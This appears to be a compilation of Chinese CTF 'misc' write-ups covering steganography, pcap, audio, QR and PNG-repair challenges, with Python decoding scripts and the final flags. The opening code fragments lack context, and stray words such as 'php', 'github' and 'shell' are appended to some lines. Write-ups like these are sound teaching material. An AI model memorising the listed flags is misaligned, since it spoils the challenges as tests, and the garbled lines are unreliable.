import base64
s='666C61677B45333342374644384133423834314341393639394544444241323442363041417D'
flag=base64.b16decode(s)
print flag
-tile是拼接時每行和每列的圖片數,這裏用x1,就是隻一行php
-geometry是首選每一個圖和邊框尺寸,咱們邊框爲0,圖照原始尺寸便可html
import os
from PIL import Image
def seoaration_gif(gif_file):
png_dir = gif_file[:-4] + '/'
os.mkdir(png_dir)
img = Image.open(gif_file)
try:
while True:
current = img.tell()
img.save(png_dir+str(current)+'.png')
img.seek(current+1)
except:
pass
if __name__=='__main__':
gif_file = 'flag.gif'
seoaration_gif(gif_file)
# coding=utf-8
# Data: 2021/7/7 16:13
# File : hebin.py
from PIL import Image
path = "C:\\Users\\backlion\\Desktop\\flag\\flag\\"
save_path = 'C:\\Users\\backlion\\Desktop\\flag\\'
im = Image.new('RGBA', (2 * 201, 600)) # 建立新照片
imagefile = [] # 存儲全部的圖像的名稱
width = 0
for i in range(0, 201):
imagefile.append(Image.open(path + str(i) + '.png')) # 遍歷,將圖像名稱存入imagfile
for image in imagefile:
im.paste(image, (width, 0, 2 + width, 600)) # 將圖片張貼到另外一張圖片上
width = width + 2
im.save(save_path + 'result.png')
im.show()
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
def flag():
str = [65, 108, 112, 104, 97, 76, 97, 98]
flag = ""
for i in str:
flag += chr(i)
print flag
flag()
# coding=utf8
from PIL import Image
import bitstring
im = Image.open('flag.png')
width = im.size[0]
height = im.size[1]
pim = im.load() # 讀取圖片的像素信息
bin_result = ''
for h in range(height):
for w in range(width):
if pim[w,h][0] == 255: # 判斷是不是紅色(R,G,B)[0]表示第一通道
bin_result += '1'
else:
bin_result += '0'
# print bitstring.BitArray(bin=bin_result).bytes.encode('hex')
with open('result.jpg','wb') as f:
f.write(bitstring.BitArray(bin=bin_result).bytes)
這個很明顯了看起來像柵欄加密,下面是CTFcrack工具對其直接解密獲得解密:qwlr{ddneq_@dpnwzgpc%nzqqpp_*}java
1.GPX(GPS Exchange Format, GPS交換格式)是一個XML格式,爲應用軟件設計的通用GPS數據格式。python
2.它能夠用來描述路點、軌跡、路程。這個格式是免費的,能夠在不須要付任何許可費用的前提下使用。它的標籤保存位置,海拔和時間,能夠用來在不一樣的GPS設備和軟件之間交換數據。如查看軌跡、在照片的exif數據中嵌入地理數據linux
放大發現每一個點都有序號,一共17個點,而後每一個點都對應一個國家的名稱,按照順序記錄下來git
發現前面7國家城市的首字母組合BITSCTF就是flag提交的格式首字母。那麼組合構成flag:BITSCTF{MAPTHEHACK},提交發現錯誤github
再次查看文件中有一段註釋是:Use appropriate brackets and underscores to separate words if you succeed(若是成功,請使用適當的括號和下劃線分隔字符)web
那麼從新用括號和下劃線分割符號組合flag.sql
最終flag爲:shell
BITSCTF{MAP_THE_HACK}
import PIL.Image as Image
img = Image.open('low.bmp')
img_tmp = img.copy()
pix = img_tmp.load()
width,height = img_tmp.size
for w in range(width):
for h in range(height):
if pix[w,h]&1 == 0:
pix[w,h] = 0
else:
pix[w,h] = 255
img_tmp.show()
def flag():
str = [102,108,97,103,123,51,56,97,53,55,48,51,50,48,56,53,52,52,49,101,55,125]
flag = ''
for i in str:
flag += chr(i)
print flag
flag()
最終flag爲:flag{38a57032085441e7}
payload = "d4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9e1e6b3e3b9e4b3b7b7e2b6b1e4b2b6b9e2b1b1b3b3b7e6b3b3b0e3b9b3b5e6fd"
s = ""
for i in range(0,len(payload),2):
s += "0x"
s += payload[i:i+2]
s += ","
print s
# encoding:utf-8
s = [0xd4,0xe8,0xe1,0xf4,0xa0,0xf7,0xe1,0xf3,0xa0,0xe6,0xe1,0xf3,0xf4,0xa1,0xa0,0xd4,0xe8,0xe5,0xa0,0xe6,0xec,0xe1,0xe7,0xa0,0xe9,0xf3,0xba,0xa0,0xc4,0xc4,0xc3,0xd4,0xc6,0xfb,0xb9,0xe1,0xe6,0xb3,0xe3,0xb9,0xe4,0xb3,0xb7,0xb7,0xe2,0xb6,0xb1,0xe4,0xb2,0xb6,0xb9,0xe2,0xb1,0xb1,0xb3,0xb3,0xb7,0xe6,0xb3,0xb3,0xb0,0xe3,0xb9,0xb3,0xb5,0xe6,0xfd]
for i in range(135):
flag = ""
for j in range(len(s)):
flag += chr(s[j]-i)
print("第%s移位:%s")%(i,flag)
import re
s = 'd4e8e1f4a0f7e1f3a0e6e1f3f4a1a0d4e8e5a0e6ece1e7a0e9f3baa0c4c4c3d4c6fbb9e1e6b3e3b9e4b3b7b7e2b6b1e4b2b6b9e2b1b1b3b3b7e6b3b3b0e3b9b3b5e6fd'
num = re.findall('\w{2}' ,s)
flag = ''
for i in num:
ch = chr(int(i,16)-128)
flag += ch
print(flag)
最終獲得flag:DDCTF{9af3c9d377b61d269b11337f330c935f}
數字像素隱寫題目名稱:Miscellaneous-200題目描述:[Flag在這裏!](flag.txt)題目附件:https://adworld.xctf.org.cn/media/task/attachments/62f4ea780ecf4e6bbef5f40d674ec073.txt題目writeup:方法一:下載附件獲得一個flag.txt文件,裏面有61366行,每行包含三個逗號分隔值的元組,大部分爲 255,255,255 。這看起來像具備給定 RGB 值的圖像。因而可推斷以此txt文件可繪製一幅圖片
圖像的尺寸多是:一、二、6一、12二、50三、100六、3068三、61366。最可能的圖像大小是 122×503px 或 503×112px。那麼圖像的寬度和高度爲:122*503或者503*122經過python腳本將其文本(像素點)轉換成圖片:# coding=utf8
from PIL import Image
x = 503
y = 122
img = Image.new('RGB',(503,122),"black")
f = open('flag.txt','r')
pix=[]
for i in range(61366):
a = f.readline()
a = a.replace('\n','')
pix.append(a)
#print pix
im = []
for i in range(len(pix)):
im.append(pix[i].split(','))
#print im
for i in range(x):#x = 503
for j in range(y):#y = 122
pix = (int(im[i*122+j][0]),int(im[i*122+j][1]),int(im[i*122+j][2]))
img.putpixel((i,j),pix)#寫某個像素位置的值
img.show()![]()
方法二:這裏咱們能夠將文本內容轉換成ppm格式,PPM格式詳見下面連接:轉換後的flag.ppm格式說明:第一行:p3表示文件格式類型爲ascii第二行:122 503 表示圖像的寬度和高度用ascii表示第三行:最大像素值爲255字節表示,範圍爲0-255第4行開始到6139行表示圖像數據:按RGB的順序排列,RGB中間用空格隔開,圖片每一行用回車隔開。https://github.com/g0tmk/write-ups/blob/master/defkthon-ctf/misc-200/flag.ppm![]()
咱們經過命令 convert 將falg.ppm轉換爲 PNG,而後翻轉 + 旋轉》convert -flip -rotate 90 flag.ppm flag.png
可得到圖片,圖片中含有flag內容
最終獲得flag:flag{ youc@n'tseeme }
端口隱寫題目名稱:Hidden-Message題目描述:藏的什麼信息?題目附件:https://adworld.xctf.org.cn/media/task/attachments/8868f595665740159650d6e654aadc93.pcap題目writeup:下載附件,獲得一個流量數據包flag.pcap,此數據包用wireshark打開發現都是UDP協議,其中源端口末尾號一直變化(發現只有紅框位置0和1不斷變換 ),考慮到爲二進制,結合kali的tshark(wireshark命令版)和perl語法,將二進制數據轉化以後的到flag
tshark -r flag.pcap -Tfields -e udp.srcport #打印數據包UDP協議源端口tshark -r flag.pcap -Tfields -e udp.srcport | while read port; do echo -n ${port: -1}; done | tr 01 10 | perl -lpe '$_=pack"B*",$_'
最終獲得flag:Heisenberg
題目名稱:Recover-Deleted-File題目描述:恢復磁盤而且找到FLAG.題目附件:https://adworld.xctf.org.cn/media/task/attachments/c297795634cb4f6e8e1d88be044ec0c4.gz題目writeup:下載附件,並對附件解壓,得到一個disk-image文件
經過binwalk命令查看文件包含的屬性,發現是一個linux磁盤文件binwalk disk-image
經過fls列出linux磁盤文件有哪些文件和操做記錄,能夠看到有一個目錄lost+found以及被刪除操做flagfls disk-image
根據flag描述,須要磁盤數據還原,可經過 extundelete命令對其進行恢復,這裏能夠恢復出flag目錄extundelete disk-image --restore-file /flag
或者extundelete disk-image --restore-all進入到恢復數據目錄,發現有一個flag文件, 修改flag執行程序,並執行flag,可得到flag內容cd RECOVERED_FILES/chmod +x flag./flag
最終得到flag:de6838252f95d3b9e803b28df33b4baa
下載附件,獲得一個flag.mkv文件,打開聽到一段奇怪的聲音,可能有flag有關,須要將視頻中的音頻文件提取出來。
這裏使用 MKVToolnixPortable對音頻進行提取,能夠看到2個mp3音頻文件,先導出第二個音頻文件,並保存爲flag.mp3(第一個mp3音頻文件,經過後面的音頻文件分析沒有包含flag內容)
經過音頻分析工具a udacity進行分析,查看頻譜圖,能夠看到有包含falg的內容,並非很清晰,須要視圖放大查看。![]()
最終得到flag爲:flag{fun_v1d30_mu51c}
題目名稱:很普通的數獨題目附件:https://adworld.xctf.org.cn/media/task/attachments/dee83d60aeda4a8cae93c5aac8f8a2ff.zip題目writeup:下載附件,解壓附件獲得25張圖片, 把25張重合到一塊兒去,獲得一個完整的數組,可是沒有什麼用,想到25張數獨能夠組成5x5,是否是一張二維碼呢?仔細觀察,若是把有數字的方格塗黑,下面三張圖片就是二維碼的三個定位碼,再注意到圖片數量爲25張,是5的平方,因此,這25張圖片組合起來就是一張二維碼
觀察發現,一、五、21這三張圖片是定位塊,可是順序不對,將順序換爲五、2一、1
因而把有數字的轉換成1,沒有數字的地方轉換成0,再按順序轉換成01,獲得下述數據將其保存爲f lag.txt:111111101010101000101000001111110000101111111
100000101100111101010011101100011001001000001
101110101110011111010011111101000101001011101
101110101101100010001010000011110001101011101
101110100011100100001111101111111011101011101
100000101100100000011000100001110100001000001
111111101010101010101010101010101011101111111
000000000011001101001000110100110011100000000
110011100100100001111111100100101000000101111
101001001011111111101110101011110101101001100
100000111100100100000110001101001101010001010
001100010011010001010011000100000010110010000
010110101010001111110100011101001110101101111
100011000100011100111011101101100101101110001
001100110100000000010010000111100101101011010
101000001011010111110011011111101001110100011
110111110111011001101100010100001110000100000
110101000010101000011101101101110101101001100
010011111110001011111010001000011011101101100
011001011001010101100011110101001100001010010
010111111111101011111111101101101111111111100
011110001100000100001000101000100100100011110
111110101110011100111010110100110100101010010
110010001011101011101000111100000011100010000
101011111011100111101111111100001010111110010
110100011000111000100111101101111101000100010
111101111110001001000011010110001111110111110
011001010101000110010100010001000101101010001
011101110101101101100100001101101000111101001
110110001001101100010101101111110100101100110
000011100111000000000100001010101111100010010
111010010011110011101110010100001011111010010
101001100010111111110100000100001010101010100
000010011001001101110101001111100101111101101
000010111101110001101011000001000101110100110
011110011010100010100000011011000001110010000
100110100100001101111111101100101110111110011
000000001111110101101000101011100100100011010
111111100011111011011010101101110011101011110
100000101110101101101000111110010001100010001
101110101011100001111111101101001000111111011
101110100110111101101000001001101100011101101
101110100000011101100001101010110010010010001
100000101011001011111011001011000011010110000
111111101010101001111011110101101110000101101使用python腳本轉換成圖片:from PIL import Image
x = 45
y = 45
im = Image.new('RGB', (x, y))
with open('flag.txt') as f:
for i in range(x):
ff = f.readline()
for j in range(y):
if(ff[j] == '1'):
im.putpixel((i, j), (255,255,255))
else:
im.putpixel((i, j), (0,0,0))
im.save("flag.jpg")
生成一張二維碼圖片
經過二維碼QR Research掃描圖片可得到一串base64的字符串
Vm0xd1NtUXlWa1pPVldoVFlUSlNjRlJVVGtOamJGWnlWMjFHVlUxV1ZqTldNakZIWVcxS1IxTnNhRmhoTVZweVdWUkdXbVZHWkhOWGJGcHBWa1paZWxaclpEUmhNVXBYVW14V2FHVnFRVGs97 次 base64 解碼獲得https://base64.us/
最終獲得flag:flag{y0ud1any1s1}
題目名稱:很普通的Disco題目附件:https://adworld.xctf.org.cn/media/task/attachments/48dd5a182fcc477a9a83200d800e26db.zip題目writeup:下載附件,解壓附件獲得一個Disco.wav音頻文件,因而聯想和音頻隱寫有關先用audacity打開,發現開頭有雜音,放大查看開頭
仔細的查了查,恰好有105個峯值頻率高低起伏的點。峯值高的點爲1,峯值低的點爲0。輸出出來是105個二進制數,每7個數爲一組,恰好15組,也就是15個字母。
輸出的二進制文件:110011011011001100001110011111110111010111011000010101110101010110011011101011101110110111011110011111101二進制位,8個二進制轉成一個字符。這裏只有105個,前七位1100110,是f的二進制形式。因此須要取出湊夠8位,將步長設置成7,而後 + 0,再轉成字符串
使用如下python腳本進行轉換成ascii:
s = '110011011011001100001110011111110111010111011000010101110101010110011011101011101110110111011110011111101'
flag = ''
for i in range(0,len(s),7):
flag += chr(int('0'+s[i:i + 7],2))
print(flag)
最終flag:flag{W0W*funny}
題目名稱:miscmisc題目附件:https://adworld.xctf.org.cn/media/task/attachments/d037429cf055493b879ef09d9b59bd41.zip題目writeup:1.下載附件,對其進行解壓,獲得一張bugoucuci.png圖片,並經過binwalk對圖片文件進行查看文件包含屬性,發現圖片文件隱藏了zip和PN兩種文件。
經過foremost命令對 bugoucuci.png圖片進行分離,獲得2個壓縮文件和一個PNG圖片文件。其中2個壓縮文件的內容是同樣的,只須要分析其中一個壓縮文件就好了。![]()
![]()
這裏對其中的一個壓縮文件00000090進行解壓,獲得一個chadiand.zip壓縮文件和一張chayidian.jpg圖片文件
直接解壓 chadiand.zip文件,提示須要輸入密碼。首先猜想多是爆破,可是爆破了十多分鐘也沒出密碼。說明密碼和爆破無關。
接着分析 chayidian.jpg圖片文件,經過binwalk命令發現圖片文件包含了一個壓縮文件和1張PNG圖片
經過foremost對 chayidian.jpg圖片文件進行分離,獲得一個00000318.zip壓縮文件。
對 00000318.zip壓縮文件進行解壓,獲得一個flag.txt文件,查看文件內容並非flag
根據解壓出來的flag.txt文件以及須要密碼解壓的chadiand.zip文件中也包含了一個flag.txt文件,猜想是須要用到明文攻擊才能解壓出 chadiand.zip文件
首先經過winrar壓縮軟件對flag.txt進行打包壓縮成flag.zip,而後對比其中CRC32的值,發現chadian.zip和flag.zip的 CRC32值是同樣的。那麼就能夠經過明文攻擊能夠解壓出 chadian.zip
這裏經過ARCHRP對 chadian.zip文件進行明文攻擊
等待十分鐘後,顯示加密密鑰已恢復成功
而後點肯定而後保存chadiand_decrypted.zip
對 chadiand_decrypted.zip進行解壓,獲得如下三個文件
解壓whoami.zip文件,提示須要輸入密碼,既然解壓獲得三個文件,那麼解壓的密碼必定和另外兩個文件有關。
打開world.png圖片文件,圖片內容中 發現有提示: pass in world. 此時想到密碼可能與此圖片還有world.doc文件有關,在kali下經過binwalk分析無果。‘
那麼考慮多是圖片的隱寫,因而打開stegsolve打開world.png文件,而後試探各類通道,在LSB BGR條件下發現pass,因此這是LSB信息隱寫。獲得pass:z^ea,去解壓文件 發現不行![]()
![]()
打開world.doc文件,顯示是一段提示內容:除了這個就差一點點了,並 根據提示 pass in world 猜測 world.doc 文件 可能還會有隱藏文字
勾選word選項中的隱藏的文字,就會顯示出幾行像密碼的 隱藏字符
到目前爲止,咱們從world1.png中獲得 pass:z^ea 在world.doc文件中獲得幾行隱藏的字符串。測試了z^ea+world.do每行中隱藏的字符串都不能解壓壓縮文件。出題人真的是腦洞大開,誰會想到最後的密碼是 pass內容+world裏每行字符串的最後一個字符,
因而解壓密碼就是 :z^ea4zaa3azf8經過該密碼解壓出whoami壓縮包,打卡壓縮包中的whoami.txt就獲得了flag內容。
最終flag爲:flag{12sad7eaf46a84fe9q4fasf48e6q4f6as4f864q9e48f9q4fa6sf6f48}
題目名稱:flag_universe題目描述:please find the flag in our universe!題目附件:https://adworld.xctf.org.cn/media/task/attachments/d2ced53c4a2e476995845c72bc39939d.zip題目wirteup:打開流量包,使用篩選器篩出ftp數據流,能夠看到經過ftp命令操做了universe.png和flag.txt以及new_universe.png圖片
其中對比較顯眼的 new_universe.png圖片進行TCP數據流追蹤![]()
![]()
追蹤數據流在到TCP流爲10時,出現了一段base64字符串![]()
對base64解密後獲得:flag{This is fake flag hahaha},提交顯示錯誤,該flag是假的flag![]()
繼續追蹤TCP數據流,universe.png中也沒有flag,當追蹤到第14個TCP數據流時,有一個new_universe.png![]()
經過原始數據格式保存爲flag.png
能夠看到成功導出了一張PNG圖片
經過stegsolve圖片隱寫工具進行查看,發現存在LSB隱寫,可得到flag內容
最終flag爲:flag{Pla te_err_klaus_Mai l_Life}
題目名稱:奇怪的TTL字段題目描述:咱們截獲了一些IP數據報,發現報文頭中的TTL值特別可疑,懷疑是通訊方嵌入了數據到TTL,咱們將這些TTL值提取了出來,你能看出什麼端倪嗎?題目附件:https://adworld.xctf.org.cn/media/task/attachments/0bf565e00b864f4ba06efc858056c7e9.zip題目writeup:下載附件,對其解壓獲得一個ttl.txt文件,其內容就是一組ttl的值![]()
該文本文件中的TTL值只有4種值:,而且根據題目的介紹咱們知道數據隱藏在這些值裏,那麼就比較容易想到的是信息隱藏在二進制中。
將這四個數值都轉換成二進制獲得 :111111、11111十一、11111十一、10111111。 TTL 值爲一個 8 位整數,不足 8 位的二進制數開頭補 0,變爲 8 位。
即:00111111、111111十一、01111十一、10111111
變的只有前面兩位,後面6位1不變,只有前面兩位藏了數據,也就是說一組TTL值能夠隱藏一個字節,提取開頭兩位爲:00、11、01、10,剛好爲全排列,能夠用於數據的存儲:
值(D) 二進制 63 255 127 191
TTL=127--》01
TTL=191--》10
TTL=127--》01
TTL=191--》10
獲得一個字母對應的8位即:01100110,即字母爲:f
若是傳輸4個就是一字節,取前面的2位組成8位,對照二進制字母表,能夠發現前面是ffd8,jpg圖片標誌
經過python腳本將ttl.txt提取轉換後的數據並保存爲圖片,是由於二進制轉成ASCII時發現是 jpg 文件格式。
f = open('ttl.txt','r')
TTL = f.readlines()
p = []
for i in TTL:
p.append(int(i[4:]))
s = ''
for i in p:
if i == 63:
a = '00'
elif i == 127:
a = '01'
elif i == 191:
a = '10'
elif i == 255:
a = '11'
s += a
print(type(s))
print(s)
import binascii
flag = ''
for i in range(0,len(s),8):
flag += chr(int(s[i:i+8],2))
flag = binascii.unhexlify(flag)
wp = open('res1.jpg','wb')
wp.write(flag)
wp.close()
獲得一張resq.jpg二維碼圖片:
經過binwalk命令查看二維碼圖片包含有6張圖片
並經過foremost分離出res1.jpg圖片
最終獲得6張殘缺的圖片,可拼圖爲一張二維碼圖片![]()
用ps拼接成二維碼圖片
經過 QR resarch二維碼掃描工具讀取出內容出來:
其內容爲:key:AutomaticKey cipher:fftu{2028mb39927wn1f96o6e12z03j58002p}根據key的信息,能夠聯想到一種經常使用的加密,Automatic加密經過在線 解密網站:https://www.wishingstarmoye.com/ctf/autokey
最終flag爲:flag{2028ab39927df1d96e6a12b03e58002e}
題目名稱:2-1題目附件:63/255/127/19100111111111111110111111110111111基礎知識:
89 50 4E 47 0D 0A 1A 0A 是PNG頭部署名域,表示這是一個PNG圖片00 00 00 0D 描述IHDR頭部的大小49 48 44 52 是Chunk Type Code, 這裏Chunk Type Code=IHDR00 00 00 CE 00 00 00 CE 08 02 00 00 00 描述了Chunk Data,它是可變長度數據, 前四個字節(前8位)是寬度,後四個字節(後8位)節是高度。F9 7D AA 93 是IHDR的CRC校驗
題目writeup:
下載附件,對其進行解壓獲得一張misc4.png圖片,可是沒法打開文件
經過winhex打開misc4.png圖片,發現PNG圖片文件頭開頭的 前 4位(80 59) 不對。
PNG (png),文件頭:89504E47 文件尾:AE 42 60 82
將其修改成89 50 並保存爲flag.png
依然打不開文件
經過tweakPNG工具查看png圖片
IHDR的CRC值,發現CRC值不對
把圖片文件IHDR 的crc校驗值 修改成 55 d5 f6 4f 後發現 仍是打不開
發現圖片的寬度爲0,須要
根據 crc校驗值 算出圖片的寬度(前8位爲圖像寬度,後八位爲圖像高度)
下面經過python 腳本算出圖片的寬度:
import os
import binascii
import struct
misc = open("misc4.png","rb").read()
for i in range(1024):
data = misc[12:16] + struct.pack('>i',i)+ misc[20:29]
crc32 = binascii.crc32(data) & 0xffffffff
if crc32 == 0x932f8a6b:
print (i)
獲得
709
,十六進制轉換後獲得,
0x2c5
接下來咱們在winhex中將寬度字節改成
02
C5
保存爲falg2.png,打開圖片發現包含flag內容:
最終flag爲:
wdflag{Png_C2c_u_kn0W}
題目名稱:3-11
題目附件:
https://adworld.xctf.org.cn/media/task/attachments/d0430db27b8c4d3694292d9ac5a55634.png
題目writeup:
用 Stegsolve 打開,發現是 LSB 隱寫,開頭 PK是 zip 的文件頭
將其另存爲flag.zip,打開壓縮文件,發現文件已損壞
因而用winrar自帶的修復壓縮文件的功能進行修復壓縮文件
將修復好的文件保存爲
rebuilt.flag.zip,對其進行解壓,獲得一個flag.txt文件,文件內容爲base64
將base64經過在線工具進行解密,發現是一張PNG圖片
將其保存爲flag1.png圖片,發現沒法打開該文件
如何變成圖片呢,嘗試直接改後綴名根本不行,這時候想到能不能base64轉圖片呢,百度一下找到了在線網站,直接轉換獲得了答案
網站:https://tool.jisuapi.com/base642pic.html
最終flag:
FLAG{LSB_i5_SO_EASY}
題目名稱:互相傷害!!!
題目描述:flag 爲flag{XXX}內的XXX內容
題目附件:
https://adworld.xctf.org.cn/media/task/attachments/0fb3ac2f54b7497cb35e04265c478b76.zip
題目writeup:
下載附件,解壓附件獲得一個文件flag
經過file命令查看flag文件屬性爲pcapng流量包文件
將其後綴名改成.pcapng
用Wireshark打開流量包,過濾http協議,發現存在多個jpg文件請求
經過導出http對象,將jpg文件所有提取出來
提取出共21個jpg文件,能夠看出所有爲鬥圖素材
首先分析圖15,發現其中包含了二維碼圖:
經過在線二維碼掃描(這裏使用QR Rearch掃描不起)可得到一串加密的字符串:
https://cli.im/deqr
U2FsdGVkX1+VpmdLwwhbyNU80MDlK+8t61sewce2qCVztitDMKpQ4fUl5nsAZOI7 bE9uL8lW/KLfbs33aC1XXw==
根據圖片文字提示「本發佈會由AES獨家贊助」那麼上面二維碼獲取的字符串爲AES加密的字符串。其中圖片上的文字「CTF"可能和AES解密的密鑰有關。可將CTF試做爲解密的密碼。
http://www.jsons.cn/aesencrypt/
獲得解密後的字符串:668b13e0b0fc0944daf4c223b9831e49
以
668b13e0b0fc0944daf4c223b9831e49 提交flag,發現提交失敗,顯然不是flag.
繼續經過binwalk對其餘文件進行依次分析,發現其餘圖片文件都包含有zip文件。
對其中任意一個圖片文件10.jpg進行分離獲得一個壓縮文件
解壓縮文件獲得一張二維碼圖片,並經過QR Rearch二維碼掃描工具,發現掃描出來的內容幾乎都是「扔下內衣真有一線生機???交出內褲纔有活路」
仔細觀察,圖5文字內容能夠簡單理解爲「扔下內衣,交出內褲」,觀察鬥圖素材發現圖11符合上述描述「來呀,互相傷害」這張圖也與題目名稱「互相傷害」有相同有關聯。 那麼就繼續對圖11重點分析
圖 5
圖11
經過foremost命令對其進行分離,獲得一個壓縮文件
可是解壓縮提取出來的壓縮文件,提示須要密碼
輸入上面解出來的字符串,可正常解開壓縮文件
可得到一張畫中畫的二維碼圖片
掃描圖二維碼獲得字符串:「扔下內衣真有一線生機????交出內褲纔有活路!!!!「。
發現二維碼中心還有一個二維碼,將小二維碼截取出來,掃碼獲得flag內容:
獲得flag:
flag{97d1-0867-2dc1-8926-144c-bc8a-4d4a-3758}
可是根據題目描述,flag 爲flag{XXX}內的XXX內容
最終flag爲:
97d1-0867-2dc1-8926-144c-bc8a-4d4a-3758
題目名稱:簽到題
題目描述:
SSCTF線上選舉美男大賽開始了,泰迪拿着他的密碼去解密了,提交花括號內內容(Z2dRQGdRMWZxaDBvaHRqcHRfc3d7Z2ZoZ3MjfQ==)
題目writeup:
根據描述,那麼falg提交的格式爲ssctf{}或者flag{},
根據flag提交格式,所以最終的
字符串必然是被柵欄密碼加密過的
提交花括號內容:
Z2dRQGdRMWZxaDBvaHRqcHRfc3d7Z2ZoZ3MjfQ==
經過ctfcarckt00ls對其進行base64解密:
獲得base64解密字符串:
ggQ@gQ1fqh0ohtjpt_sw{gfhgs#}
上段密文的開頭是g因此必然還要通過以此凱撒密碼加密的
經過對其凱撒解密,移位14獲得看起來像FLAG格式的開頭的SSC
獲得
位移14的凱撒解密爲:
ssC@sC1rct0atfvbf_ei{srtse#}
再柵欄密碼解密,每組字數8,第二欄就是ctf內容:
最終ctf結果爲:
ssctf{ssCtf_seC10ver#@rabit}
題目名稱:隱藏的信息
題目描述:
這是一個被混淆的文件,可是我忘記了這個文件的密碼。你可以幫助我還原明文嗎?
題目附件:
https://adworld.xctf.org.cn/media/task/attachments/2eb44acfc89d4f0f9fa221d21ab96033.zip
wireup:
方法一:
1.下載附件,解壓附件獲得一個message.txt文本文件,打開文件發現內容是一串八進制的數字,須要將其轉換成ascii
2.經過 python腳本將八進制數字轉換成ascii
import re
import sys
s='0126 062 0126 0163 0142 0103 0102 0153 0142 062 065 0154 0111 0121 0157 0113 0111 0105 0132 0163 0131 0127 0143 066 0111 0105 0154 0124 0121 060 0116 067 0124 0152 0102 0146 0115 0107 065 0154 0130 062 0116 0150 0142 0154 071 0172 0144 0104 0102 0167 0130 063 0153 0167 0144 0130 060 0113 '
a=re.findall('\d{3,}',s)
for i in a:
sys.stdout.write(chr(int(i,8)))
獲得ascii:V2VsbCBkb25lIQoKIEZsYWc6IElTQ0N7TjBfMG5lX2Nhbl9zdDBwX3kwdX0K,該字符串看起來像base64加密
經過ctfcarckt00ls工具的base64解密功能對其解密,獲得flag
方法二:
使用「八進制 十進制 ASCII相互轉換【支持多個字符串】」工具解—>輸入內容—>八進制轉換ASCII
獲得asccii:
V2VsbCBkb25lIQoKIEZsYWc6IElTQ0N7TjBfMG5lX2Nhbl9zdDBwX3kwdX0K
base64解密:
https://base64.us/
最終獲得flag:
ISCC{N0_0ne_can_st0p_y0u}
題目名稱:saleae
題目附件:
https://adworld.xctf.org.cn/media/task/attachments/5621c80acfbc445d9eb252b2660070b5.zip
題目writeup:
下載附件,對其進行解壓獲得一個
saleae.logicdata
文件,該文件爲邏輯分析儀數據文件。經過谷歌搜索是須要用Logic軟件打開,打開文件發現有4個channel,其中channel 0和channel 2有波形。
Logic 軟件下載地址:https://downloads.saleae.com/logic/1.2.18/Logic+1.2.18+Win+64+Standalone.zip
在analyzers新建一個SPI項目
參數設置以下,其中MOSI是主輸出從輸入,MISO是主輸入從輸出:
channel 0:規律性,等寬,是 CLK
channel 1:無波形,是主輸出端 MOSI
channel 2:波形寬度不一,攜帶數據,爲主輸入端 MISO
channel 3:數據傳輸是低電平,爲CS偏選端
直接豎着查看,可得到flag
flag最終爲:
flag{12071397-19d1-48e6-be8c-784b89a95e07}
題目名稱:intoU
題目描述:
I'm so into you I can barely breath.And all I wanna do is to fall in deep (IntoU歌曲歌詞)
題目附件:
https://adworld.xctf.org.cn/media/task/attachments/d7351710703a49cda273d3284e7a3df1.zip
題目writeup:
下載附件,對其進行解壓獲得一個音頻文件,經過Audacity打開音頻文件進行分析,首先選擇頻譜圖,看了大半天也沒發現有flag.
經過谷歌搜索,發現須要調整到較小的採樣率,纔有可能顯示音頻隱寫,下面將其採樣率設置爲8000 HZ
Ariana Grande---->頻譜圖—>採樣率—>8000 HZ
拖動滾動條到最右邊,並視圖--放大,可查看到flag內容
最終得到flag:
RCTF{bmp_file_in_wav}
題目名稱:Excaliflag
題目描述:
只有一個真正的黑客能夠從這個地方獲得flag
題目附件:
https://adworld.xctf.org.cn/media/task/attachments/f3f30930116f4b168e132db45907d0ee.png
題目wireup:
首先下載附件,解壓得到一張圖片,經過stegsolve圖片隱寫工具打開,而後切換色塊,終得到flag內容:
最終獲得flag:
3DS{Gr4b_Only_th1s_B1ts}
題目名稱:Just-No-One
題目附件:
https://adworld.xctf.org.cn/media/task/attachments/7932f0a447b74cfc8b6820aa706e9446.exe
題目writeup:
下載附件,得到一個exe可執行程序,點擊安裝,進入下一步,須要輸入密碼,猜想可能須要逆向破解密碼
嘗試經過winhex和IDA分析無果
仔細觀察,在安裝軟件協議的條款裏面發現了一些關於和flag有關的信息:YOU MAY SUBMIT THIS TO GET TEN POINTS(你能夠提交這段字符串得到標識)。
YOU MAY SUBMIT THIS TO GET TEN POINTS:
ILOVEREADINGEULAS.
那麼最終flag爲:
ILOVEREADINGEULAS
題目名稱:信號很差先掛了
題目附件:
https://adworld.xctf.org.cn/media/task/attachments/b90a71f6e04b427dba2f8d307de79145.zip
題目writeup:
下載附件,對其進行解壓,得到一張apple.png圖片,經過stegsolev圖片隱寫工具的analyse---data extract功能對圖片的LSB進行查看分析
發現圖片的LSB隱寫中包含了PK,該PK爲壓縮數據包頭。
將其保存爲flag.zip
對flag.zip進行解壓,發現壓縮文件已損壞
經過winrar的修復壓縮文件功能對已損壞的flag.zip壓縮文件進行修復
保存爲rebuilt.flag.zip,並對其進行解壓,得到一張pen.png圖片
再次經過stegsolve對pen.png圖片進行通道查看,發現好幾個通道中都有一些條紋
而後兩張圖片長得同樣,因此很容易想到多是藏有盲水印,因而用opencv處理盲水印獲得flag。
合成盲水印圖,盲水印用到的py腳本能夠在github上下載,https://github.com/chishaxie/BlindWaterMark,使用時須要安裝前置opencv-python庫
python bwm.py decode pen.png apple.png flag.png
打開合成的盲水印圖片flag.png,可看到flag內容:
最終flag爲:
unctf{9d0649505b702643}
題目名稱:黃金六年
題目附件:
https://adworld.xctf.org.cn/media/task/attachments/b6c6823cbfc246249941630e647bf7b6.zip
題目writeup:
下載附件,對其解壓獲得一個mp4視頻文件,經過winhex打開,發如今末尾隱藏的base64加密字符串
也能夠經過strings命令查看文件中包含的字符串
strings hj6.mp4
獲得base64加密字符串:
UmFyIRoHAQAzkrXlCgEFBgAFAQGAgADh7ek5VQIDPLAABKEAIEvsUpGAAwAIZmxhZy50eHQwAQAD
Dx43HyOdLMGWfCE9WEsBZprAJQoBSVlWkJNS9TP5du2kyJ275JzsNo29BnSZCgMC3h+UFV9p1QEf
JkBPPR6MrYwXmsMCMz67DN/k5u1NYw9ga53a83/B/t2G9FkG/IITuR+9gIvr/LEdd1ZRAwUEAA==
經過在線解密工具,解密得到看起來像rar文件
https://base64.us
這裏經過python腳本將base64轉換成rar壓縮包:
import base64
